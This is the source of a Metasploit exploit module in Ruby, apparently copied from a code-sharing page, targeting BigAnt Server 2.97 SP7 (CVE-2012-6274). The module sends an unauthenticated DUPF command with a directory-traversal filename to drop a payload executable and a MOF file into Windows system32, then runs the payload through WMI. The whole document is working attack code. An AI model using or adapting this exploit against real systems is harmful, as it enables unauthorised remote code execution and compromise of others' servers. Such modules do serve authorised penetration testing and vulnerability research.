Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::EXE
11
  include Msf::Exploit::WbemExec
12
  include Msf::Exploit::FileDropper
13

14
  def initialize(info = {})
15
    super(update_info(info,
16
      'Name'           => 'BigAnt Server DUPF Command Arbitrary File Upload',
17
      'Description'    => %q{
18
          This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
19
        A lack of authentication allows to make unauthenticated file uploads through a DUPF
20
        command. Additionally the filename option in the same command can be used to launch
21
        a directory traversal attack and achieve arbitrary file upload.
22

23
        The module uses the Windows Management Instrumentation service to execute an
24
        arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
25
        has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
26
        SP2.
27
      },
28
      'Author'         =>
29
        [
30
          'Hamburgers Maccoy', # Vulnerability discovery
31
          'juan vazquez'       # Metasploit module
32
        ],
33
      'License'        => MSF_LICENSE,
34
      'References'     =>
35
        [
36
          [ 'CVE', '2012-6274' ],
37
          [ 'US-CERT-VU', '990652' ],
38
          [ 'BID', '57214' ],
39
          [ 'OSVDB', '89342' ]
40
        ],
41
      'Privileged'     => true,
42
      'Platform'       => 'win',
43
      'Targets'        =>
44
        [
45
          [ 'BigAnt Server 2.97 SP7', { } ]
46
        ],
47
      'DefaultTarget' => 0,
48
      'DefaultOptions'  =>
49
        {
50
          'WfsDelay' => 10
51
        },
52
      'DisclosureDate' => '2013-01-09'))
53

54
    register_options(
55
      [
56
        Opt::RPORT(6661),
57
        OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
58
      ])
59

60
  end
61

62
  def upload_file(filename, content)
63

64
    random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
65

66
    dupf = "DUPF 16\n"
67
    dupf << "cmdid: 1\n"
68
    dupf << "content-length: #{content.length}\n"
69
    dupf << "content-type: Appliction/Download\n"
70
    dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
71
    dupf << "modified: #{random_date}\n"
72
    dupf << "pclassid: 102\n"
73
    dupf << "pobjid: 1\n"
74
    dupf << "rootid: 1\n"
75
    dupf << "sendcheck: 1\n\n"
76
    dupf << content
77

78
    print_status("sending DUPF")
79
    connect
80
    sock.put(dupf)
81
    res = sock.get_once
82
    disconnect
83
    return res
84

85
  end
86

87
  def exploit
88

89
    peer = "#{rhost}:#{rport}"
90

91
    # Setup the necessary files to do the wbemexec trick
92
    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
93
    exe      = generate_payload_exe
94
    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
95
    mof      = generate_mof(mof_name, exe_name)
96

97
    print_status("Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
98
    res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
99
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
100
      print_good("#{exe_name} uploaded successfully")
101
    else
102
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
103
        print_error("Upload failed, check the DEPTH option")
104
      end
105
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
106
    end
107

108
    print_status("Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
109
    res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
110
    if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
111
      print_good("#{mof_name} uploaded successfully")
112
      register_file_for_cleanup(exe_name)
113
      register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
114
    else
115
      if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
116
        print_error("Upload failed, check the DEPTH option")
117
      end
118
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
119
    end
120

121
  end
122
end
123

124